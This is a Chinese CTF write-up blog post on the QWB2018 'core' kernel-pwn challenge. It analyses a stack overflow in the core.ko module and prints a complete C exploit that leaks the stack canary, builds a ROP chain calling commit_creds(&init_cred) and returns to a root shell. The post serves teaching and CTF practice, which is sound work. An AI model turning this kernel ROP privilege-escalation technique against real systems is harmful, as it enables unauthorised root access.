【栈溢出】QWB2018-core

文章讲述了如何利用内核栈溢出漏洞在经典入门kernel-pwn环境中进行攻击,涉及kaslr保护、proc和sys内存文件系统的使用,以及通过core.ko模块实现canary和ROP链的泄露与操作。
摘要由CSDN通过智能技术生成

经典入门kernel-pwn,漏洞很简单,就是一个内核栈溢出。

老规矩,查看启动脚本 start.sh,发现开启了kaslr保护:

这里我已经把内存改成了 256M,题目原来好像是 64M,如果你启动不起来,就把内存调大点

qemu-system-x86_64 \
-m 256M \
-kernel ./bzImage \
-initrd  ./core.cpio.gz \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s  \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic  \

解压文件系统,查看 init.sh 脚本:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

将内核符号表复制了一份到 tmp 目录下,而 tmp 普通用户是有权限访问的。

题目设置了定时关机,可以先去掉。

很明显,我们的漏洞程序应当就是 core.ko 模块了。checksec 一下,发现开启了canary和NX保护

程序分析

在 init_module 函数中创建了一个虚拟文件,父目录文件夹参数指定为0,则会直接在 /proc 下面创建虚拟文件 core;core_fops 是操作该文件的函数表,用户可自定义。

注意:与磁盘文件系统不同,proc文件系统是存在于内存中的,还有一个存在内存中的文件系统是sys,所以这两个也称为内存文件系统

在函数表中,自定义了如下函数:

其中 core_release 没啥用,我们主要看 core_write 与 core_ioctl

core_write 

就是单纯的往内核全局变量 name 中写入字符,不超过0x800个

core_ioctl 

在该函数中,可以调用 core_read 和 core_copy_func 函数,并且可以修改 off 的值

我们先看下 core_read 函数:

该函数可以允许我们读取内核栈上的数据,只能读取 0x40 个字节。但是读取的起始位置由 off 控制,而在上面我们说了可以控制 off 变量,所以我们可以通过 core_read 泄漏 canary

在看下 core_copy_func 函数:

该函数会将name中的值复制到内核栈上,但是这里存在溢出,说实话已经很明显了。比较的时候使用的有符号数,复制的时候使用的是无符号数,所以我们传入负数就可以去覆盖返回地址了。

  

 漏洞利用

分析完整个流程就很简单了

首先利用 core_read 配合 off 去泄漏 canary;然后在利用栈溢出往栈上写入 rop 链。

注意:内核栈是非常小的,所以最后不要直接传入-1,不然会导致覆盖到其他函数的栈帧。亲测传入-1的时候,内核检测到了栈溢出

最终 exp 如下:这里我直接打的 commit_creds(&init_cred)

// gcc exp.c -static -masm=intel -o exp
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <sys/types.h>

static size_t pop_rdi = 0xffffffff81000b2f; // pop rdi ; ret
static size_t swapgs = 0xffffffff81a012da; // swapgs ; popfq ; ret
static size_t iretq = 0xffffffff81050ac2;
static size_t commit_creds = 0, prepare_kernel_cred = 0;
static size_t init_cred = 0xffffffff8223d1a0;
int fd;

size_t user_cs, user_ss, user_rsp, user_rflags;
void save_status()
{
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_rsp, rsp;"
                "pushf;"
                "pop user_rflags;");
        puts("\033[32m[+]save status successfully\033[0m");
}


void core_read(char* buf)
{
        ioctl(fd, 0x6677889B, buf);
}

void set_off(size_t off)
{
        ioctl(fd, 0x6677889C, off);
}

void core_copy(long long len)
{
        ioctl(fd, 0x6677889A, len);
}


int find_syms()
{
        FILE* fp = fopen("/tmp/kallsyms", "r");
        size_t addr;
        char type[5], name[0x50];

        while (fscanf(fp, "%lx%s%s", &addr, type, name))
        {
                if (commit_creds && prepare_kernel_cred) return 1;
                else if (!commit_creds && !strcmp(name, "commit_creds")) commit_creds = addr;
                else if (!prepare_kernel_cred && !strcmp(name, "prepare_kernel_cred")) prepare_kernel_cred = addr;
        }
        return 0;
}

void get_root_shell()
{
        if (!getuid())
        {
                puts("\033[32m[+]Root privilege");
                system("/bin/sh");
        } else {
                puts("\033[31m[X]Failed to get root privilege");
                exit(-1);
        }

}

int main(int argc, char** argv, char** env)
{
        save_status();
        fd = open("/proc/core", O_RDWR);
        size_t offset, rop[0x100], buf[0x30], canary;
        int res = find_syms();
        if (res) offset = commit_creds - 0xffffffff8109c8e0;
        else puts("\033[31m[X]Failed to find syms\033[0m"), exit(-1);
        printf("\033[32m[+]commit_creds: %#lx\n\033[0m", commit_creds);
        printf("\033[32m[+]prepare_kernel_cred: %#lx\n\033[0m", prepare_kernel_cred);
        printf("\033[32m[+]offset: %#lx\n\033[0m", offset);

        set_off(0x40);
        core_read((char*)buf);
        canary = buf[0];
        printf("\033[32m[+]canary: %#lx\n\033[0m", canary);

        int i = 0;
        for (i = 0; i < 10; i++) rop[i] = canary;
        rop[i++] = pop_rdi+offset;
        rop[i++] = init_cred+offset;
        rop[i++] = commit_creds;
        rop[i++] = swapgs+offset;
        rop[i++] = 0;
        rop[i++] = iretq+offset;
        rop[i++] = get_root_shell;
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_rsp;
        rop[i++] = user_ss;
        write(fd, rop, 0x200);
        core_copy(0xffffffffffff0000 | (0xA8));
        //core_copy(-1);
        return 0;
}

 然后重新打包一下文件系统,运行效果如下:

遇到的问题

其实这道题我倒是没有啥问题,但是这道题我搞了一天,为啥呢?

这里给大家一个程序:

#include <stdio.h>
size_t offset;

int main(int argc, char** argv, char** env)
{
        offset = 20;
        return 0;
}

 但我们使用 gcc -masm=intel 时你会发现:

而我在exp中,一开始就是把 offset 定义成的全局变量,然后就一直报这个 "无效的寄存器" 错误。至于原因,我找遍了互联网,没找到,本来想去 stackoverflow 问的,结果 vbn 挂了。我感觉就是它在代码中一部分是 AT&T 汇编,一部分是 intel 汇编,但是当我使用 gcc -S 时,发现并非如此。

还有一点就是我定义了那么多全局变量,为啥就单独这个 offset 会报这个错呢?所以挺无语的

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值